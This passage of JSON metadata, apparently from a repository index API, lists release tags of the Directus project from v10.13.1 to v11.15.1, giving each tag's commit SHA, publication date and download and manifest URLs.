1","sha":"31bdf682e8bb8263084f8c5a04db569a7309f38d","kind":"commit","published_at":"2026-02-06T19:41:49.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v11.15.1","html_url":"https://github.com/directus/directus/releases/tag/v11.15.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v11.15.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v11.15.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v11.15.1/manifests"},{"name":"v11.15.0","sha":"47c60716b5695de2708235b0607a8ecc4a12cc6d","kind":"commit","published_at":"2026-02-05T19:16:37.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v11.15.0","html_url":"https://github.com/directus/directus/releases/tag/v11.15.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v11.15.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v11.15.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v11.15.0/manifests"},{"name":"v11.14.1","sha":"031279b95a31929605f568ce968495e0ea5e8450","kind":"commit","published_at":"2026-01-15T17:52:33.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v11.14.1","html_url":"https://github.com/directus/directus/releases/tag/v11.14.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v11.14.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v11.14.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v11.14.1/manifests"},{"name":"v11.14.0","sha":"9d3faa3ab11c58203d12d323ac549fd0130c1cd6","kind":"commit","published_at":"2025-12-09T22:41:06.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v11.14.0","html_url":"https://github.com/directus/directus/releases/tag/v11.14.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v11.14.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v11.14.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v11.14.0/manifests"},{"name":"v11.13.4","sha":"f74b2c1f76e595ce073870a076755bf62b6825ce","kind":"commit","published_at":"2025-11-21T16:18:20.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v11.13.4","html_url":"https://github.com/directus/directus/releases/tag/v11.13.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v11.13.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v11.13.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v11.13.4/manifests"},{"name":"v11.13.3","sha":"15276cd55c149ec51202b12e38a9fb2b9c6207d5","kind":"commit","published_at":"2025-11-19T16:44:19.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v11.13.3","html_url":"https://github.com/directus/directus/releases/tag/v11.13.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v11.13.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v11.13.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v11.13.3/manifests"},{"name":"v11.13.2","sha":"cb022a6e25e394d7203927b025ca5da7ac006c4c","kind":"commit","published_at":"2025-11-10T19:48:49.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v11.13.2","html_url":"https://github.com/directus/directus/releases/tag/v11.13.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v11.13.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v11.13.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v11.13.2/manifests"},{"name":"v11.13.1","sha":"f636050870ad3ed1cff05aa2513c16c0384f36a0","kind":"commit","published_at":"2025-11-07T18:07:48.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v11.13.1","html_url":"https://github.com/directus/directus/releases/tag/v11.13.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v11.13.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v11.13.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v11.13.1/manifests"},{"name":"v11.13.0","sha":"79b0648d4f0326b053a9a7dd7e020a8e12205fc1","kind":"commit","published_at":"2025-11-04T20:14:16.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v11.13.0","html_url":"https://github.com/directus/directus/releases/tag/v11.13.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v11.13.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v11.13.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v11.13.0/manifests"},{"name":"v11.12.0","sha":"f118b89dee1b0fdf6e46f081fdf5479fe1b94dfb","kind":"commit","published_at":"2025-09-16T20:36:05.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v11.12.0","html_url":"https://github.com/directus/directus/releases/tag/v11.12.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v11.12.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v11.12.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v11.12.0/manifests"},{"name":"v11.12.0-alpha","sha":"048dfcffec22000c5e3a69ffa618c9d667fee362","kind":"commit","published_at":"2025-09-09T16:37:44.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v11.12.0-alpha","html_url":"https://github.com/directus/directus/releases/tag/v11.12.0-alpha","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v11.12.0-alpha","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v11.12.0-alpha","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v11.12.0-alpha/manifests"},{"name":"v11.11.0","sha":"f55913653b02caa7cf8fbd90a0c2b48108419719","kind":"commit","published_at":"2025-08-27T18:04:33.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v11.11.0","html_url":"https://github.com/directus/directus/releases/tag/v11.11.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v11.11.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v11.11.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v11.11.0/manifests"},{"name":"v11.10.2","sha":"88e4143df94ec37b92114128b6d57ae596011d83","kind":"commit","published_at":"2025-08-12T19:50:04.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v11.10.2","html_url":"https://github.com/directus/directus/releases/tag/v11.10.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v11.10.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v11.10.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v11.10.2/manifests"},{"name":"v11.10.1","sha":"3a561ad801197e9cc3e2ba5a2123470b7900a897","kind":"commit","published_at":"2025-08-11T18:50:25.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v11.10.1","html_url":"https://github.com/directus/directus/releases/tag/v11.10.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v11.10.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v11.10.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v11.10.1/manifests"},{"name":"v11.10.0","sha":"e109a6f2d69ff73621725b97cc26b7d66b2be1e7","kind":"commit","published_at":"2025-07-30T17:12:15.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v11.10.0","html_url":"https://github.com/directus/directus/releases/tag/v11.10.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v11.10.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v11.10.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v11.10.0/manifests"},{"name":"v11.9.3","sha":"46564d7a0029a62d69af0c6a476e4ff5ac6a2a29","kind":"commit","published_at":"2025-07-09T11:11:46.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v11.9.3","html_url":"https://github.com/directus/directus/releases/tag/v11.9.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v11.9.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v11.9.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v11.9.3/manifests"},{"name":"v11.9.2","sha":"7532b2b8fc8dbb6eeaa9bdd72ec8eefa2eb2a95c","kind":"commit","published_at":"2025-07-01T15:16:35.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v11.9.2","html_url":"https://github.com/directus/directus/releases/tag/v11.9.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v11.9.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v11.9.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v11.9.2/manifests"},{"name":"v11.9.1","sha":"3f4e6df99c36c46ab814cc93a84e87b0881998a0","kind":"commit","published_at":"2025-06-30T16:32:50.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v11.9.1","html_url":"https://github.com/directus/directus/releases/tag/v11.9.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v11.9.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v11.9.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v11.9.1/manifests"},{"name":"v11.9.0","sha":"b8a47c621a5485855765e7f082722c1d98c3cc3f","kind":"commit","published_at":"2025-06-25T17:58:44.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v11.9.0","html_url":"https://github.com/directus/directus/releases/tag/v11.9.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v11.9.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v11.9.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v11.9.0/manifests"},{"name":"v11.8.0","sha":"ccf2f3d38ffbcabeb5ffa37193fc72eb92b7bf21","kind":"commit","published_at":"2025-05-28T17:29:21.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v11.8.0","html_url":"https://github.com/directus/directus/releases/tag/v11.8.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v11.8.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v11.8.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v11.8.0/manifests"},{"name":"v11.7.2","sha":"a6b840b08e802ae61e031701b4ed49879bd15b76","kind":"commit","published_at":"2025-04-29T21:45:17.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v11.7.2","html_url":"https://github.com/directus/directus/releases/tag/v11.7.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v11.7.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v11.7.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v11.7.2/manifests"},{"name":"v11.7.1","sha":"afeab44dafd2c549fe1c001a2393daf28f412820","kind":"commit","published_at":"2025-04-29T20:17:42.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v11.7.1","html_url":"https://github.com/directus/directus/releases/tag/v11.7.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v11.7.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v11.7.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v11.7.1/manifests"},{"name":"v11.7.0","sha":"76d7c4f5042008ef0726212dcee6d9ca2d599579","kind":"commit","published_at":"2025-04-29T15:46:37.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v11.7.0","html_url":"https://github.com/directus/directus/releases/tag/v11.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v11.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v11.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v11.7.0/manifests"},{"name":"v11.6.1","sha":"b7921446091903e86a92a5f64b7cd54e6e4e0306","kind":"commit","published_at":"2025-04-01T13:44:45.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v11.6.1","html_url":"https://github.com/directus/directus/releases/tag/v11.6.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v11.6.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v11.6.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v11.6.1/manifests"},{"name":"v11.6.0","sha":"9fed080c8a5c7feb626f564ab158504481c07018","kind":"commit","published_at":"2025-03-25T17:05:10.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v11.6.0","html_url":"https://github.com/directus/directus/releases/tag/v11.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v11.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v11.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v11.6.0/manifests"},{"name":"v11.5.1","sha":"c6039b7d5f278cd73ce138837fa3e53a10dcf20b","kind":"commit","published_at":"2025-02-28T14:50:38.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v11.5.1","html_url":"https://github.com/directus/directus/releases/tag/v11.5.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v11.5.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v11.5.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v11.5.1/manifests"},{"name":"v11.5.0","sha":"f854746ef0a28c1208d51ab36386e3b353fd721d","kind":"commit","published_at":"2025-02-26T18:23:18.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v11.5.0","html_url":"https://github.com/directus/directus/releases/tag/v11.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v11.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v11.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v11.5.0/manifests"},{"name":"v11.4.1","sha":"3acbdfc5196f992d71347e8c600ab70cfcc665b5","kind":"commit","published_at":"2025-02-04T19:34:14.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v11.4.1","html_url":"https://github.com/directus/directus/releases/tag/v11.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v11.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v11.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v11.4.1/manifests"},{"name":"v11.4.0","sha":"a799fcb86302ce8c7856dd55106a503a2a32308a","kind":"commit","published_at":"2025-01-16T15:58:19.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v11.4.0","html_url":"https://github.com/directus/directus/releases/tag/v11.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v11.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v11.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v11.4.0/manifests"},{"name":"v11.3.5","sha":"99cd15f3a0e4962602d2476e4f678d7a36fb37a8","kind":"commit","published_at":"2024-12-18T16:16:28.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v11.3.5","html_url":"https://github.com/directus/directus/releases/tag/v11.3.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v11.3.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v11.3.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v11.3.5/manifests"},{"name":"v11.3.4","sha":"5eb8097cf249b0732cd168b1f85c014f089a5abf","kind":"commit","published_at":"2024-12-17T16:25:54.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v11.3.4","html_url":"https://github.com/directus/directus/releases/tag/v11.3.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v11.3.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v11.3.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v11.3.4/manifests"},{"name":"v11.3.3","sha":"f3d8a4bdea21656a84a668a39c9ce04558116abe","kind":"commit","published_at":"2024-12-16T16:34:21.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v11.3.3","html_url":"https://github.com/directus/directus/releases/tag/v11.3.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v11.3.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v11.3.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v11.3.3/manifests"},{"name":"v11.3.2","sha":"ba69d5591de8e7500b3c9f41ebc00f7dc076aa5f","kind":"commit","published_at":"2024-12-03T17:42:36.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v11.3.2","html_url":"https://github.com/directus/directus/releases/tag/v11.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v11.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v11.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v11.3.2/manifests"},{"name":"v11.3.1","sha":"401c565205fb040965292021c2f1457c9f1f83a3","kind":"commit","published_at":"2024-12-02T22:51:07.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v11.3.1","html_url":"https://github.com/directus/directus/releases/tag/v11.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v11.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v11.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v11.3.1/manifests"},{"name":"v10.13.4","sha":"9be6b4afdce157189b6f2fc2777269ea3a5f56b3","kind":"commit","published_at":"2024-12-02T17:28:16.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v10.13.4","html_url":"https://github.com/directus/directus/releases/tag/v10.13.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v10.13.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v10.13.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v10.13.4/manifests"},{"name":"v11.3.0","sha":"6948e1f9563cbfb6286fab3364ac245c8373797f","kind":"commit","published_at":"2024-12-02T17:12:27.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v11.3.0","html_url":"https://github.com/directus/directus/releases/tag/v11.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v11.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v11.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v11.3.0/manifests"},{"name":"v11.2.2","sha":"8c6d6875d07cb6f90c196b810e06c7be068c05ec","kind":"commit","published_at":"2024-11-20T14:18:54.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v11.2.2","html_url":"https://github.com/directus/directus/releases/tag/v11.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v11.2.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v11.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v11.2.2/manifests"},{"name":"v11.2.1","sha":"d0c74917af60cb894e3bc1cdec6c3a9e73722879","kind":"commit","published_at":"2024-11-06T17:43:40.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v11.2.1","html_url":"https://github.com/directus/directus/releases/tag/v11.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v11.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v11.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v11.2.1/manifests"},{"name":"v11.2.0","sha":"a0a4c23131c021d08ee9b5efcd6a33a0a39c0250","kind":"commit","published_at":"2024-11-05T22:20:09.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v11.2.0","html_url":"https://github.com/directus/directus/releases/tag/v11.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v11.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v11.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v11.2.0/manifests"},{"name":"v11.1.2","sha":"55d47b6443a5b4f8cd42182af19b211c51ac372a","kind":"commit","published_at":"2024-10-29T15:21:07.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v11.1.2","html_url":"https://github.com/directus/directus/releases/tag/v11.1.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v11.1.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v11.1.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v11.1.2/manifests"},{"name":"v11.1.1","sha":"cd58cb31cda20b7ff7b98dfc48e7bb1c6c510fb7","kind":"commit","published_at":"2024-10-08T20:42:25.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v11.1.1","html_url":"https://github.com/directus/directus/releases/tag/v11.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v11.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v11.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v11.1.1/manifests"},{"name":"v10.13.3","sha":"7dc377f8fd7a3811e19291a2521d775498455422","kind":"commit","published_at":"2024-09-03T22:31:46.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v10.13.3","html_url":"https://github.com/directus/directus/releases/tag/v10.13.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v10.13.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v10.13.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v10.13.3/manifests"},{"name":"v11.1.0","sha":"1b1ab7713e543d491a8320fd2e337e96134df2dd","kind":"commit","published_at":"2024-09-03T21:50:36.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v11.1.0","html_url":"https://github.com/directus/directus/releases/tag/v11.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v11.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v11.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v11.1.0/manifests"},{"name":"v11.0.2","sha":"45e915aa5fc6d7698a3127bb7984d4ab9bf36582","kind":"commit","published_at":"2024-08-14T15:47:31.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v11.0.2","html_url":"https://github.com/directus/directus/releases/tag/v11.0.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v11.0.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v11.0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v11.0.2/manifests"},{"name":"v11.0.1","sha":"034341c5b13a266e54f900a1b7c8a404fd473fab","kind":"commit","published_at":"2024-08-08T17:10:25.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v11.0.1","html_url":"https://github.com/directus/directus/releases/tag/v11.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v11.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v11.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v11.0.1/manifests"},{"name":"v11.0.0","sha":"2b02764ac8a4aac3df7764ca935ad7f9e48581b7","kind":"commit","published_at":"2024-08-06T19:53:17.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v11.0.0","html_url":"https://github.com/directus/directus/releases/tag/v11.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v11.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v11.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v11.0.0/manifests"},{"name":"v10.13.2","sha":"e5ba369c242896f3c446da533a99abac2f66d2b4","kind":"commit","published_at":"2024-08-06T18:26:11.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v10.13.2","html_url":"https://github.com/directus/directus/releases/tag/v10.13.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v10.13.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v10.13.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v10.13.2/manifests"},{"name":"v11.0.0-rc.3","sha":"4a5e0de18c7afce5d4d0fa63b3bd3a8cce35fe88","kind":"commit","published_at":"2024-07-10T13:46:33.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v11.0.0-rc.3","html_url":"https://github.com/directus/directus/releases/tag/v11.0.0-rc.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v11.0.0-rc.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v11.0.0-rc.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v11.0.0-rc.3/manifests"},{"name":"v10.13.1","sha":"65f5e96127b1ba965a6a56097190fe532cccb10b","kind":"commit","published_at":"2024-07-09T16:06:10.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v10.13.1","html_url":"https://github.com/directus/directus/releases/tag/v10.13.1","dep